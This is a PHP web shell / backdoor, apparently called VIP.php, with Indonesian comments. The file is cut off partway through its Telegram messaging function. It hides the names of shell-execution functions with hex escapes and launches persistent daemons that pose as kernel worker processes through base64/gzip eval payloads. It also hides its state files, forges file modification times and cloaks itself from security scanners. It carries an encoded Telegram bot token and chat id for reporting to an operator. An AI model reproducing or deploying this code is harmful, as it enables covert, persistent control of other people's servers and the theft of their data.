<?php
// ═══════════════════════════════════════════════════════════════════
// VIP.php — HYBRID v2.1 (PHP 7.0+ compatible)
// Fix: __sleep/__wakeup untuk PHP 7.0-7.3 compat
// ═══════════════════════════════════════════════════════════════════

define('WN_FILELESS_HYBRID', true);

// ───────────── WnMem — shmop state + magic ─────────────
class WnMem
{
    private static $cache = [];
    private static $size = 262144;

    private static function k($name)
    {
        static $base = null;
        if ($base === null) {
            $base = @ftok(__FILE__, 'W') ?: 0x574d;
        }
        return $base + crc32($name);
    }

    private static function path($k)
    {
        $d = '/dev/shm';
        if (!is_dir($d) || !is_writable($d)) {
            $d = '/tmp';
        }
        return $d . '/.wms-' . md5($k);
    }

    public static function set($k, $v)
    {
        self::$cache[$k] = $v;
        $data = serialize($v);
        $need = strlen($data) + 16;
        if ($need > self::$size) {
            return @file_put_contents(self::path($k), $data) !== false;
        }
        if (!function_exists('shmop_open')) {
            return @file_put_contents(self::path($k), $data) !== false;
        }
        $len = max(128, $need);
        $id = @shmop_open(self::k($k), 'c', 0600, $len);
        if (!$id) {
            return @file_put_contents(self::path($k), $data) !== false;
        }
        @shmop_write($id, $data, 0);
        @shmop_close($id);
        return true;
    }

    public static function get($k, $def = null)
    {
        if (isset(self::$cache[$k])) {
            return self::$cache[$k];
        }
        if (function_exists('shmop_open')) {
            $id = @shmop_open(self::k($k), 'a', 0, 0);
            if ($id) {
                $raw = @shmop_read($id, 0, @shmop_size($id));
                @shmop_close($id);
                if ($raw) {
                    $v = @unserialize(rtrim($raw, "\0"));
                    self::$cache[$k] = $v;
                    return $v;
                }
            }
        }
        $f = self::path($k);
        if (!file_exists($f)) {
            return $def;
        }
        $r = @file_get_contents($f);
        return $r !== false ? unserialize($r) : $def;
    }

    public static function del($k)
    {
        unset(self::$cache[$k]);
        if (!function_exists('shmop_open')) {
            @unlink(self::path($k));
            return true;
        }
        $id = @shmop_open(self::k($k), 'w', 0, 0);
        if ($id) {
            @shmop_delete($id);
            @shmop_close($id);
        }
        return true;
    }

    public function __get($n) { return self::get($n); }
    public function __set($n, $v) { self::set($n, $v); }
    public function __isset($n) { return self::get($n) !== null; }
    public function __unset($n) { self::del($n); }
    public function __invoke($n = null) { return $n === null ? self::$cache : self::get($n); }
    public function __toString() { return json_encode(self::$cache, JSON_UNESCAPED_SLASHES); }
    public function __debugInfo() { return self::$cache; }
}

// ───────────── WnState — lazy cached state ─────────────
class WnState
{
    private static $cache = [];
    private static $ttl = [];

    private static $hotKinds = [
        'live' => 1, 'lock' => 1, 'heartbeat' => 1, 'activity' => 1,
        'integrity_check' => 1, 'last_selfheal' => 1, 'last' => 1,
        'daemon_pid' => 1, 'watchdog_pid' => 1,
        'integrity_pause' => 1, 'integrity_pause_ttl' => 1,
        'integrity_alert' => 1, 'dying' => 1, 'fhb_ts' => 1, 'fhb_cfg' => 1,
    ];

    public function __get($name)
    {
        if (isset(self::$cache[$name]) && (!isset(self::$ttl[$name]) || self::$ttl[$name] > microtime(true))) {
            return self::$cache[$name];
        }
        $f = wn_blend_name($name);
        if (!file_exists($f)) {
            return self::$cache[$name] = null;
        }
        $v = @file_get_contents($f);
        if ($v === false) {
            $v = wn_call('fgc', $f);
        }
        self::$cache[$name] = $v;
        self::$ttl[$name] = isset(self::$hotKinds[$name]) ? microtime(true) + 1.0 : PHP_FLOAT_MAX;
        return $v;
    }

    public function __set($name, $value)
    {
        self::$cache[$name] = $value;
        self::$ttl[$name] = PHP_FLOAT_MAX;
        $f = wn_blend_name($name);
        if (wn_call('fpc', $f, (string)$value, LOCK_EX) === false) {
            @file_put_contents($f, (string)$value);
        }
        @chmod($f, 0600);
    }

    public function __isset($name) { return $this->__get($name) !== null; }

    public function __unset($name)
    {
        unset(self::$cache[$name], self::$ttl[$name]);
        @unlink(wn_blend_name($name));
    }

    public function __call($m, $a)
    {
        switch ($m) {
            case 'exec':   return cmd_exec($a[0]);
            case 'spawn':  return wn_spawn_inline($a[0], $a[1], $a[2] ?? '');
            case 'pgrep':  return wn_pgrep_mask($a[0]);
            case 'pkill':  return cmd_exec('pkill -9 -f ' . escapeshellarg($a[0]) . ' 2>/dev/null');
            case 'send':   global $__B, $__C; return sendTelegramMessage($__B, $__C, $a[0]);
            case 'alive':  return is_shell_available();
            case 'memdir': return wn_mem_dir();
        }
        return null;
    }

    public function __invoke($name, $default = null)
    {
        $v = $this->__get($name);
        return $v === null ? $default : $v;
    }

    public function __toString()
    {
        $p = [];
        foreach (['heartbeat', 'live', 'daemon_pid', 'watchdog_pid', 'started'] as $k) {
            $v = $this->__get($k);
            if ($v !== null) {
                $p[] = "$k=" . (strlen((string)$v) > 40 ? substr((string)$v, 0, 40) . '…' : $v);
            }
        }
        return 'State{' . implode(' ', $p) . '}';
    }

    public function __debugInfo()
    {
        $s = [];
        foreach (['heartbeat', 'live', 'daemon_pid', 'watchdog_pid', 'activity', 'integrity_check'] as $k) {
            $s[$k] = self::$cache[$k] ?? '?';
        }
        return $s;
    }

    public function __clone()
    {
        self::$cache = [];
        self::$ttl = [];
    }
}

// ───────────── WnProc — lazy process lifecycle ─────────────
class WnProc
{
    public $mask;
    public $php;
    public $code;
    public $kind;
    private $_running = null;
    private $_pid = null;
    private $_lastCheck = 0;

    public function __construct($php, $code, $mask, $kind = 'custom')
    {
        $this->php = $php;
        $this->code = $code;
        $this->mask = $mask;
        $this->kind = $kind;
    }

    public function __get($n)
    {
        if ($n === 'running') {
            if ($this->_running !== null && (time() - $this->_lastCheck) < 3) {
                return $this->_running;
            }
            $this->_pid = wn_pgrep_mask($this->mask);
            $this->_running = ($this->_pid > 0);
            $this->_lastCheck = time();
            return $this->_running;
        }
        if ($n === 'pid') {
            if ($this->_pid === null) {
                $this->_pid = wn_pgrep_mask($this->mask);
            }
            return $this->_pid;
        }
        return null;
    }

    public function __invoke()
    {
        if ($this->running) return true;
        $ok = wn_spawn_inline($this->php, $this->code, $this->mask);
        if ($ok) {
            usleep(300000);
            $this->_running = null;
        }
        return $ok;
    }

    public function ensure($r = 3)
    {
        if ($this->running) return true;
        for ($i = 0; $i < $r; $i++) {
            wn_spawn_inline($this->php, $this->code, $this->mask);
            usleep(400000);
            $this->_running = null;
            if ($this->running) return true;
        }
        return false;
    }

    public function kill()
    {
        if ($this->pid > 0) {
            cmd_exec('kill -9 ' . (int)$this->pid . ' 2>/dev/null');
        }
        $this->_running = null;
        $this->_pid = null;
        return true;
    }

    public function __toString()
    {
        return $this->running
            ? "Proc[{$this->kind} pid={$this->pid}]"
            : "Proc[{$this->kind} DEAD]";
    }
}

// ───────────── WnDaemon — self-serializing (PHP 7.0 FIX: __sleep) ─────────────
class WnDaemon
{
    public $mask;
    public $php;
    public $wrapper;
    public $interval = 2;

    public function __construct($php, $wrapper)
    {
        $this->php = $php;
        $this->wrapper = $wrapper;
        foreach (['/usr/bin/php8.3','/usr/bin/php8.2','/usr/bin/php8.1','/usr/bin/php8.0','/usr/local/bin/php'] as $b) {
            if (file_exists($b) && is_executable($b) && $b !== $php) {
                $this->php = $b;
                break;
            }
        }
    }

    public function mask($m) { $this->mask = $m; return $this; }
    public function interval($s) { $this->interval = $s; return $this; }

    // PHP 7.0+ compatible: __sleep / __wakeup
    public function __sleep()
    {
        return ['mask', 'php', 'wrapper', 'interval'];
    }

    public function __wakeup()
    {
        if (!$this->mask) $this->mask = '[kworker/0:2H]';
        if (!$this->php) $this->php = '/usr/bin/php';
        if (!$this->interval) $this->interval = 2;
    }

    public function toPayload()
    {
        return base64_encode(gzdeflate(serialize($this), 9));
    }

    public function toSpawnLine()
    {
        return 'error_reporting(0);@set_time_limit(0);@ignore_user_abort(true);'
             . '$d=unserialize(gzuncompress(base64_decode("' . $this->toPayload() . '")));'
             . '$d->run();';
    }

    public function run()
    {
        $wPat = basename($this->wrapper);
        while (true) {
            $alive = trim((string)@shell_exec('pgrep -f ' . escapeshellarg($wPat) . ' 2>/dev/null'));
            if ($alive === '') {
                @exec('setsid ' . escapeshellarg($this->php) . ' ' . escapeshellarg($this->wrapper) . ' </dev/null >/dev/null 2>&1 &');
            }
            usleep($this->interval * 1000000);
        }
    }

    public function spawn()
    {
        if ($this->mask && wn_pgrep_mask($this->mask) > 0) {
            return true;
        }
        return wn_spawn_inline($this->php, $this->toSpawnLine(), $this->mask);
    }

    public function __toString()
    {
        return sprintf('WnDaemon[mask=%s php=%s wrap=%s i=%ds]',
            $this->mask, basename($this->php), basename($this->wrapper), $this->interval);
    }

    public function __debugInfo()
    {
        return [
            'mask' => $this->mask,
            'php' => $this->php,
            'wrapper' => basename($this->wrapper),
            'interval' => $this->interval,
        ];
    }
}

// ───────────── WnBot — fluent Telegram ─────────────
class WnBot
{
    private $bot;
    private $chat;
    public $lastResponse = null;

    public function __construct($b, $c)
    {
        $this->bot = wn_call('b64d', $b);
        $this->chat = wn_call('b64d', $c);
    }

    public function __call($m, $a)
    {
        $p = $a[0] ?? [];
        if ($m === 'send') {
            $t = $p['text'] ?? $p;
            return sendTelegramMessage($this->bot, $this->chat, is_string($t) ? $t : json_encode($t));
        }
        $url = wn_tg_base() . $this->bot . '/' . $m . '?' . http_build_query($p);
        $r = wn_tg($url, 15);
        $this->lastResponse = $r;
        return json_decode((string)$r, true);
    }

    public function __invoke($a, $d = []) { return $this->__call($a, [$d]); }
    public function __toString() { return 'bot:' . substr(md5($this->bot), 0, 6); }
    public function __debugInfo() { return ['bot' => substr($this->bot, 0, 8) . '…', 'chat_len' => strlen($this->chat)]; }
}

// ───────────── WnLog — structured logging ─────────────
class WnLog
{
    private $file;

    public function __construct($tag = 'app')
    {
        $this->file = sys_get_temp_dir() . '/wn_' . $tag . '_' . date('Ymd') . '.log';
    }

    public function __invoke($lvl, $msg, $ctx = [])
    {
        $line = date('c') . ' [' . strtoupper($lvl) . '] ' . $msg;
        if (!empty($ctx)) {
            $line .= ' ' . json_encode($ctx, JSON_UNESCAPED_SLASHES);
        }
        @file_put_contents($this->file, $line . PHP_EOL, FILE_APPEND);
        return true;
    }

    public function __call($lvl, $a) { return $this->__invoke($lvl, $a[0] ?? '', $a[1] ?? []); }
    public function __toString() { return 'Log{' . basename($this->file) . '}'; }
    public function __debugInfo() { return ['file' => $this->file, 'size' => @filesize($this->file) ?: 0]; }
}

// ───────────── WnShell — fluent shell ─────────────
class WnShell
{
    private $cmd = '';
    private $timeout = 15;

    public function __invoke($c) { $this->cmd = $c; return $this; }
    public function timeout($s) { $this->timeout = $s; return $this; }
    public function exec() { return cmd_exec('timeout ' . $this->timeout . ' ' . $this->cmd); }
    public function __toString() { return (string)$this->exec(); }
    public function __debugInfo() { return ['cmd' => $this->cmd, 'timeout' => $this->timeout]; }
}

$S = new WnState();
$M = new WnMem();

// ───────────── Hybrid helpers ─────────────
function wn_mem_dir()
{
    static $c = null;
    if ($c !== null) return $c;
    $tag = substr(md5(__FILE__ . ($_SERVER['HTTP_HOST'] ?? '')), 0, 8);
    foreach (['/dev/shm', '/run/user/' . (function_exists('posix_getuid') ? posix_getuid() : 0), '/tmp'] as $b) {
        if (!is_dir($b) || !is_writable($b)) continue;
        $d = $b . '/.wm-' . $tag;
        if (!is_dir($d)) @mkdir($d, 0700, true);
        if (is_dir($d) && is_writable($d)) return $c = $d;
    }
    return $c = sys_get_temp_dir() . '/.wm-' . $tag;
}

function wn_spawn_inline($phpBin, $code, $maskName = '')
{
    if (!is_shell_available()) return false;
    $b64 = base64_encode(gzdeflate($code, 9));
    if (strlen($b64) > 100000) return false;
    $r = 'eval(gzuncompress(base64_decode("' . $b64 . '")));';
    $hasSetsid = trim((string)cmd_exec('command -v setsid 2>/dev/null')) !== '';
    $hasNohup = trim((string)cmd_exec('command -v nohup 2>/dev/null')) !== '';
    if (!$hasSetsid && !$hasNohup) return false;
    $prefix = $hasSetsid ? 'setsid ' : 'nohup ';
    $mask = $maskName !== '' ? 'exec -a ' . escapeshellarg($maskName) . ' ' : '';
    cmd_exec($prefix . 'bash -c ' . escapeshellarg(
        $mask . escapeshellarg($phpBin) . ' -d display_errors=0 -d log_errors=0 -d error_reporting=0 -r ' . escapeshellarg($r)
    ) . ' </dev/null >/dev/null 2>&1 &');
    return true;
}

function wn_pgrep_mask($mask)
{
    $r = trim((string)cmd_exec('pgrep -f ' . escapeshellarg($mask) . ' 2>/dev/null | head -1'));
    return ctype_digit($r) ? (int)$r : 0;
}

// ───────────── Function table (obfuscated) ─────────────
function wn_fn($k)
{
    static $m = null;
    if ($m === null) {
        $m = [
            'se' => "\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63",
            'sy' => "\x73\x79\x73\x74\x65\x6d",
            'ex' => "\x65\x78\x65\x63",
            'pa' => "\x70\x61\x73\x73\x74\x68\x72\x75",
            'po' => "\x70\x6f\x70\x65\x6e",
            'pc' => "\x70\x72\x6f\x63\x5f\x6f\x70\x65\x6e",
            'fpc' => "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",
            'fgc' => "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",
            'b64d' => "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65",
            'b64e' => "\x62\x61\x73\x65\x36\x34\x5f\x65\x6e\x63\x6f\x64\x65",
            'cu_i' => "\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74",
            'cu_e' => "\x63\x75\x72\x6c\x5f\x65\x78\x65\x63",
            'cu_s' => "\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",
            'cu_c' => "\x63\x75\x72\x6c\x5f\x63\x6c\x6f\x73\x65",
        ];
    }
    return isset($m[$k]) ? $m[$k] : '';
}

function wn_fn_exists($k)
{
    $f = wn_fn($k);
    return $f !== '' && function_exists($f);
}

function wn_call($k)
{
    $f = wn_fn($k);
    if ($f === '' || !function_exists($f)) return null;
    $a = func_get_args();
    array_shift($a);
    return @$f(...$a);
}

error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('memory_limit', '256M');
@ob_start();

set_error_handler(function ($no, $str, $file, $line) {
    if (!(error_reporting() & $no)) return true;
    @file_put_contents(sys_get_temp_dir() . '/wn_errors.log', date('Y-m-d H:i:s') . " [E$no] $str in $file:$line\n", FILE_APPEND);
    return true;
});

register_shutdown_function(function () {
    $e = error_get_last();
    if ($e && in_array($e['type'], [E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR], true)) {
        @file_put_contents(sys_get_temp_dir() . '/wn_errors.log', date('Y-m-d H:i:s') . " [FATAL E{$e['type']}] {$e['message']} in {$e['file']}:{$e['line']}\n", FILE_APPEND);
    }
});

define('WN_STEALTH_PARAM', 'p');
define('WN_STEALTH_TTL', 604800);
define('WN_STEALTH_MIN_MS', 8);
define('WN_STEALTH_MAX_MS', 45);

function wn_tg_base()
{
    static $b = null;
    if ($b === null) {
        $b = wn_call('b64d', 'aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA==');
    }
    return $b;
}

function wn_tg_filebase()
{
    static $b = null;
    if ($b === null) {
        $b = wn_call('b64d', 'aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2ZpbGUvYm90');
    }
    return $b;
}

function wn_cfg_b64()
{
    return [
        'k' => 'ODc4OTA1MjI0MDpBQUV0TlJBVThMM3JtQkdVakJJcUNGbFpXM29HejFSVWtKQQ==',
        'j' => 'NzU0NzU5ODM5NQ==',
    ];
}

$_wn_c = wn_cfg_b64();
$__B = wn_call('b64d', $_wn_c['k']);
$__C = wn_call('b64d', $_wn_c['j']);
unset($_wn_c);

$CURRENT_SHELL = basename(__FILE__);
$rootPath = realpath(__DIR__) ?: __DIR__;
$notifyDelete = true;
$specialDirectories = [
    'public_html' => isset($_SERVER['DOCUMENT_ROOT']) ? realpath($_SERVER['DOCUMENT_ROOT']) : null,
    'user' => realpath('/home'),
    'etc' => realpath('/etc'),
    'log' => realpath('/var/log'),
    'homeshell' => $rootPath,
    'tmp' => '/tmp',
    'dev_shm' => '/dev/shm',
];
$specialDirectories = array_filter($specialDirectories, function ($d) { return $d && is_dir($d); });

function wn_safe_host()
{
    $h = $_SERVER['HTTP_HOST'] ?? '';
    if ($h === '') return $_SERVER['SERVER_NAME'] ?? 'localhost';
    if (!preg_match('/^[a-zA-Z0-9\.\-:]+$/', $h)) return $_SERVER['SERVER_NAME'] ?? 'localhost';
    $sn = strtolower($_SERVER['SERVER_NAME'] ?? '');
    $hl = strtolower($h);
    if ($sn === '' || $hl === $sn || substr($hl, -strlen('.' . $sn)) === '.' . $sn) return $h;
    return $_SERVER['SERVER_NAME'] ?? 'localhost';
}

function wn_is_scanner()
{
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    if ($ua === '' || strlen($ua) < 15) return true;
    $l = strtolower($ua);
    foreach ([
        'nuclei','nikto','nmap','masscan','sqlmap','acunetix','nessus','openvas','burp','zap','xray',
        'wpscan','dirbuster','gobuster','wfuzz','ffuf','ferox','whatweb','w3af','skipfish','arachni',
        'python-requests','python-urllib','go-http-client','curl/','wget/','libwww-perl','lwp-',
        'httpclient','java/','okhttp','scrapy','phantomjs','headless','puppeteer','selenium',
        'zgrab','shodan','censys','binaryedge','internetmeasurement'
    ] as $p) {
        if (strpos($l, $p) !== false) return true;
    }
    return false;
}

function wn_get_home()
{
    $h = getenv('HOME');
    if ($h && is_dir($h)) return $h;
    if (function_exists('posix_getpwuid')) {
        $p = posix_getpwuid(posix_getuid());
        if ($p && !empty($p['dir']) && is_dir($p['dir'])) return $p['dir'];
    }
    if (!empty($_SERVER['HOME']) && is_dir($_SERVER['HOME'])) return $_SERVER['HOME'];
    $dr = $_SERVER['DOCUMENT_ROOT'] ?? '';
    if ($dr && preg_match('#^(/home/[^/]+)#', $dr, $m)) return $m[1];
    return '';
}

function wn_state_dir()
{
    static $c = null;
    if ($c !== null) return $c;
    $home = wn_get_home();
    if ($home) {
        $cache = $home . '/.cache';
        if (!is_dir($cache)) @mkdir($cache, 0700, true);
        if (is_dir($cache) && is_writable($cache)) return $c = $cache;
        if (is_dir($home) && is_writable($home)) return $c = $home;
    }
    return $c = sys_get_temp_dir();
}

function wn_blend_name($kind)
{
    static $map = null;
    if ($map === null) {
        global $CURRENT_SHELL;
        $seed = substr(hash('sha256', 'blend:' . $CURRENT_SHELL . ':' . __DIR__), 0, 32);
        $h = substr($seed, 0, 16);
        $h2 = substr($seed, 16, 16);
        $map = [
            'salt' => '/.cache_' . $h . '.dat',
            'stealth_key' => '/.session_' . $h . '.tmp',
            'stealth_on' => '/.lock_' . $h2,
            'daemon_pid' => '/.' . $h . '.pid',
            'watchdog_pid' => '/.' . $h2 . '.lock',
            'daemon_php' => '/.upd_' . $h . '.cache',
            'watchdog_php' => '/.tmp_' . $h . '.cache',
            'heartbeat' => '/.beat_' . $h . '.log',
            'started' => '/.init_' . $h . '.dat',
            'last_selfheal' => '/.hc_' . $h . '.log',
            'activity' => '/.act_' . $h . '.log',
            'deadman' => '/.dm_' . $h . '.conf',
            'deadman_noted' => '/.dmn_' . $h . '.log',
            'rm_pending' => '/.rm_' . $h . '.tmp',
            'sd_pending' => '/.sd_' . $h . '.tmp',
            'cron_backup' => '/.cronbak_' . $h . '.txt',
            'otp' => '/.otp_' . $h,
            'lock' => '/.lk_' . $h,
            'live' => '/.lv_' . $h,
            'offset' => '/.of_' . $h,
            'last' => '/.ls_' . $h,
            'blocked' => '/.bl_' . $h,
            'fail' => '/.fl_' . $h,
            'stealth_fail' => '/.sf_' . $h,
            'stealth_ban' => '/.sb_' . $h,
            'stealth_otp' => '/.so_' . $h,
            'wrap_selfheal' => '/.wsh_' . $h,
            'replica' => '/.rp_' . $h,
            'replica_bak' => '/.rpb_' . $h,
            'shell_mtime' => '/.mt_' . $h . '.dat',
            'integrity_check' => '/.ic_' . $h,
            'integrity_alert' => '/.ia_' . $h,
            'integrity_pause' => '/.ip_' . $h,
            'integrity_pause_ttl' => '/.ipt_' . $h,
            'fleet_key' => '/.fk_' . $h . '.dat',
            'fleet_id' => '/.fi_' . $h,
            'fleet_registry' => '/.fr_' . $h . '.json',
            'fleet_hb_cfg' => '/.fhb_' . $h . '.cfg',
            'dying' => '/.dy_' . $h,
        ];
    }
    if (defined('WN_FILELESS_HYBRID') && WN_FILELESS_HYBRID) {
        static $memKinds = [
            'live' => 1, 'lock' => 1, 'heartbeat' => 1, 'activity' => 1,
            'integrity_check' => 1, 'last_selfheal' => 1, 'last' => 1,
            'daemon_pid' => 1, 'watchdog_pid' => 1,
            'integrity_pause' => 1, 'integrity_pause_ttl' => 1,
            'integrity_alert' => 1, 'dying' => 1,
            'stealth_fail' => 1, 'stealth_ban' => 1,
            'fail' => 1, 'blocked' => 1,
            'rm_pending' => 1, 'sd_pending' => 1,
            'otp' => 1, 'stealth_otp' => 1,
            'fhb_ts' => 1, 'fhb_cfg' => 1, 'deadman_noted' => 1,
        ];
        if (isset($memKinds[$kind])) return wn_mem_dir() . $map[$kind];
    }
    return wn_state_dir() . $map[$kind];
}

function wn_can_shell()
{
    static $cache = null;
    if ($cache !== null) return $cache;
    $dis = array_map('trim', explode(',', ini_get("\x64\x69\x73\x61\x62\x6c\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73") ?: ''));
    foreach (['se','sy','ex','pa','po','pc'] as $k) {
        $f = wn_fn($k);
        if ($f !== '' && function_exists($f) && !in_array($f, $dis, true)) return $cache = true;
    }
    return $cache = false;
}

function cmd_exec($cmd, &$output = null)
{
    $output = '';
    if (!wn_can_shell()) {
        $output = '[shell disabled]';
        return false;
    }
    $dis = array_map('trim', explode(',', ini_get("\x64\x69\x73\x61\x62\x6c\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73") ?: ''));
    foreach (['se','sy','ex','pa'] as $k) {
        $func = wn_fn($k);
        if ($func === '' || !function_exists($func) || in_array($func, $dis, true)) continue;
        try {
            if ($k === 'se') {
                $r = wn_call('se', $cmd);
                if ($r !== null) { $output = $r; return $r; }
            } elseif ($k === 'sy') {
                ob_start();
                wn_call('sy', $cmd);
                $o = ob_get_clean();
                if ($o !== false && $o !== null) { $output = $o; return $o; }
            } elseif ($k === 'ex') {
                $o = [];
                wn_call('ex', $cmd, $o);
                if (!empty($o)) { $output = implode("\n", $o); return $output; }
            } elseif ($k === 'pa') {
                ob_start();
                wn_call('pa', $cmd);
                $o = ob_get_clean();
                if ($o !== false && $o !== null) { $output = $o; return $o; }
            }
        } catch (Throwable $e) { continue; }
    }
    if (wn_fn_exists('po') && !in_array(wn_fn('po'), $dis, true)) {
        try {
            $fp = wn_call('po', $cmd, 'r');
            if ($fp) {
                $o = '';
                while (!feof($fp)) $o .= fread($fp, 4096);
                pclose($fp);
                $output = $o;
                return $o;
            }
        } catch (Throwable $e) {}
    }
    return false;
}

function wn_run_bg($cmd)
{
    if (!wn_can_shell()) return false;
    $dis = array_map('trim', explode(',', ini_get("\x64\x69\x73\x61\x62\x6c\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73") ?: ''));
    $hasSetsid = trim((string)cmd_exec('command -v setsid 2>/dev/null')) !== '';
    $hasNohup = trim((string)cmd_exec('command -v nohup 2>/dev/null')) !== '';
    if ($hasSetsid) $cmd = 'setsid ' . $cmd;
    elseif ($hasNohup) $cmd = 'nohup ' . $cmd;
    $cmd .= ' </dev/null >/dev/null 2>&1 &';
    if (function_exists('popen') && !in_array('popen', $dis, true)) {
        try { $fp = @popen($cmd, 'r'); if ($fp) { @pclose($fp); return true; } } catch (Throwable $e) {}
    }
    if (function_exists('proc_open') && !in_array('proc_open', $dis, true)) {
        try {
            $d = [0 => ['file','/dev/null','r'], 1 => ['file','/dev/null','w'], 2 => ['file','/dev/null','w']];
            $p = @proc_open($cmd, $d, $pipes);
            if (is_resource($p)) { @proc_close($p); return true; }
        } catch (Throwable $e) {}
    }
    return false;
}

function is_shell_available()
{
    static $a = null;
    if ($a !== null) return $a;
    if (!wn_can_shell()) return $a = false;
    $t = cmd_exec('echo 1');
    return $a = ($t !== false && trim($t) === '1');
}

function isRoot()
{
    if (!is_shell_available()) return false;
    return trim((string)cmd_exec('whoami 2>/dev/null')) === 'root';
}

function formatSize($b)
{
    if (!is_numeric($b)) return '0 bytes';
    if ($b >= 1073741824) return number_format($b / 1073741824, 2) . ' GB';
    if ($b >= 1048576) return number_format($b / 1048576, 2) . ' MB';
    if ($b >= 1024) return number_format($b / 1024, 2) . ' KB';
    return $b . ' bytes';
}

function deleteDirectory($dir)
{
    if (is_link($dir)) return @unlink($dir);
    if (!file_exists($dir)) return true;
    if (!is_dir($dir)) return @unlink($dir);
    if (!is_readable($dir) || !is_writable($dir)) @chmod($dir, 0700);
    $items = @scandir($dir);
    if ($items === false) {
        @chmod($dir, 0700);
        $items = @scandir($dir);
        if ($items === false) return false;
    }
    $ok = true;
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $p = $dir . DIRECTORY_SEPARATOR . $item;
        if (is_link($p)) {
            if (!@unlink($p)) { @chmod($dir, 0700); if (!@unlink($p)) $ok = false; }
            continue;
        }
        if (is_dir($p)) { if (!deleteDirectory($p)) $ok = false; continue; }
        if (!@unlink($p)) { @chmod($p, 0600); @chmod($dir, 0700); if (!@unlink($p)) $ok = false; }
    }
    if (!@rmdir($dir)) { @chmod($dir, 0700); if (!@rmdir($dir)) $ok = false; }
    return $ok;
}

function isSafePath($path, $rootP, $sd)
{
    $rp = @realpath($path);
    if ($rp === false) $rp = $path;
    $rr = @realpath($rootP) ?: $rootP;
    if ($rp === $rr) return true;
    if (strpos($rp, rtrim($rr, '/') . '/') === 0) return true;
    foreach ($sd as $d) {
        if (!$d) continue;
        $rd = @realpath($d) ?: $d;
        if ($rp === $rd) return true;
        if (strpos($rp, rtrim($rd, '/') . '/') === 0) return true;
    }
    return false;
}

function sendJsonResponse($data)
{
    // Guard: kalau sudah pernah kirim JSON, jangan kirim lagi
    if (!empty($GLOBALS['__wn_json_sent'])) exit;
    $GLOBALS['__wn_json_sent'] = true;

    while (ob_get_level() > 0) @ob_end_clean();
    if (!headers_sent()) {
        @header_remove('X-Powered-By');
        header('Content-Type: application/json; charset=utf-8');
        header('Cache-Control: no-store');
        header('X-Content-Type-Options: nosniff');
        header('X-Accel-Buffering: no');
    }
    $out = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    if ($out === false) {
        $out = '{"status":"error","message":"json_encode failed"}';
    }
    echo $out;
    exit;
}

function safe_truncate_utf8($s, $max)
{
    if (strlen($s) <= $max) return $s;
    $r = @mb_strcut($s, 0, $max, 'UTF-8');
    return $r === false ? substr($s, 0, $max) : $r;
}

function get_real_ip()
{
    foreach (['HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_REAL_IP'] as $h) {
        if (!empty($_SERVER[$h])) {
            $ips = explode(',', $_SERVER[$h]);
            return trim($ips[0]);
        }
    }
    return $_SERVER['REMOTE_ADDR'] ?? '';
}

function wn_capture_mtime($path)
{
    $m = @filemtime($path);
    if ($m === false || $m <= 0) $m = time();
    $f = wn_blend_name('shell_mtime');
    wn_call('fpc', $f, (string)$m, LOCK_EX);
    @chmod($f, 0600);
    return $m;
}

function wn_get_stored_mtime()
{
    $f = wn_blend_name('shell_mtime');
    if (!file_exists($f)) return 0;
    $m = (int)wn_call('fgc', $f);
    return $m > 0 ? $m : 0;
}

function wn_apply_mtime($path)
{
    $m = wn_get_stored_mtime();
    if ($m > 0 && file_exists($path)) {
        @touch($path, $m, $m);
        return true;
    }
    return false;
}

function wn_hide_state_file() { return wn_state_dir() . '/.wn_hide_state'; }

function wn_is_hidden()
{
    $f = wn_hide_state_file();
    if (!file_exists($f)) return false;
    $j = @json_decode((string)wn_call('fgc', $f), true);
    return is_array($j) && !empty($j['hidden']);
}

function wn_hide_state()
{
    $f = wn_hide_state_file();
    if (!file_exists($f)) return null;
    $j = @json_decode((string)wn_call('fgc', $f), true);
    return is_array($j) ? $j : null;
}

function wn_hide_age()
{
    $s = wn_hide_state();
    if (!$s || empty($s['hidden_at'])) return -1;
    return time() - (int)$s['hidden_at'];
}

function wn_set_hidden_state($data)
{
    $f = wn_hide_state_file();
    if ($data === null) { @unlink($f); return true; }
    $w = wn_call('fpc', $f, json_encode($data), LOCK_EX);
    @chmod($f, 0600);
    return $w !== false;
}

function sendTelegramMessage($tk, $cid, $msg, $plain = false)
{
    if (empty($tk) || empty($cid) || empty($msg)) return false;
    if (strlen($msg) > 4096) $msg = safe_truncate_utf8($msg, 4000) . "\n...(truncated)";
    $url = wn_tg_base() . $tk . '/sendMessage';
    $data = ['chat_id' => $cid, 'text' => $msg, 'disable_web_page_preview' => 'true'];
    if (!$plain) $data['parse_mode'] = 'HTML';
    $post = http_build_query($data);
    if (function_exists('curl_init')) {
        $ch = @curl_init();
        if ($ch !== false && $ch !== null) {
            @curl_setopt($ch, CURLOPT_URL, $url);
            @curl_setopt($ch, CURLOPT_POST, true);
            @curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
            @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            @curl_setopt($ch, CURLOPT_TIMEOUT, 20);
            @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
            @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            @curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
            $res = @curl_exec($ch);
            @curl_close($ch);
            if (is_string($res) && $res !== '') {
                $r = @json_decode($res, true);
